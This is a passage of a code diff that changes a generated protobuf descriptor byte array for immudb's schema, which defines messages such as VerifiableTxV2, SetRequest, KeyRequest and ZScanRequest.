0x40, 0x0a, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, - 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, - 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x44, 0x0a, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0e, 0x73, 0x71, 0x6c, - 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x22, 0x47, 0x0a, 0x0d, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x12, 0x36, 0x0a, 0x06, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x69, + 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, + 0x75, 0x72, 0x65, 0x22, 0xa5, 0x01, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x12, 0x21, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x02, 0x74, 0x78, 0x12, 0x38, 0x0a, 0x09, 0x64, 0x75, 0x61, + 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x75, 0x61, + 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x56, 0x32, 0x52, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, + 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x22, 0xc5, 0x01, 0x0a, 0x0f, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x2a, 0x0a, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, + 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, + 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x22, 0x50, 0x0a, 0x0e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6c, 0x65, 0x61, 0x66, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x05, 0x52, 0x04, 0x6c, 0x65, 0x61, 0x66, 0x12, 0x14, 0x0a, 0x05, 0x77, 0x69, 0x64, + 0x74, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x12, + 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, + 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0x92, 0x01, 0x0a, 0x0a, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x03, 0x4b, 0x56, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x03, 0x4b, 0x56, 0x73, 0x12, + 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, + 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, + 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, + 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x84, 0x01, 0x0a, 0x0a, 0x4b, + 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, + 0x74, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, + 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, + 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, + 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, + 0x6e, 0x22, 0x3e, 0x0a, 0x0e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, + 0x78, 0x22, 0x59, 0x0a, 0x11, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, + 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, + 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x75, 0x0a, 0x14, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x52, 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, + 0x65, 0x54, 0x78, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x6b, + 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x6b, 0x65, 0x79, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, + 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x13, 0x0a, 0x11, 0x53, 0x65, + 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, + 0x2e, 0x0a, 0x12, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, + 0x42, 0x0a, 0x0e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, + 0x69, 0x6f, 0x6e, 0x22, 0x7a, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, + 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x28, 0x0a, + 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x12, 0x36, 0x0a, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, + 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x22, + 0xe0, 0x01, 0x0a, 0x0e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, + 0x74, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x64, 0x62, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, + 0x64, 0x62, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x78, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x04, 0x74, 0x78, 0x49, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x12, 0x36, + 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, + 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, + 0x49, 0x64, 0x12, 0x2e, 0x0a, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, + 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x12, + 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, + 0x73, 0x68, 0x22, 0xd5, 0x01, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x66, + 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x12, + 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, + 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, + 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, + 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, + 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, + 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8d, 0x01, 0x0a, 0x1a, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, + 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x4b, 0x0a, 0x10, 0x72, 0x65, 0x66, + 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x52, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, + 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x8f, 0x01, 0x0a, 0x0b, 0x5a, + 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, + 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, + 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, + 0x72, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, + 0x64, 0x52, 0x65, 0x66, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, + 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x1d, 0x0a, 0x05, + 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x22, 0xf2, 0x02, 0x0a, 0x0c, + 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, + 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x18, + 0x0a, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x65, 0x6b, + 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x01, 0x52, 0x09, 0x73, 0x65, 0x65, + 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, + 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, + 0x54, 0x78, 0x12, 0x24, 0x0a, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, + 0x65, 0x65, 0x6b, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, + 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, + 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, + 0x73, 0x63, 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x08, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x69, 0x6e, 0x53, + 0x63, 0x6f, 0x72, 0x65, 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, + 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x61, + 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, + 0x78, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, + 0x65, 0x74, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, + 0x22, 0x7e, 0x0a, 0x0e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x03, 0x6b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, + 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x6c, 0x69, 0x6d, + 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, + 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x22, 0x79, 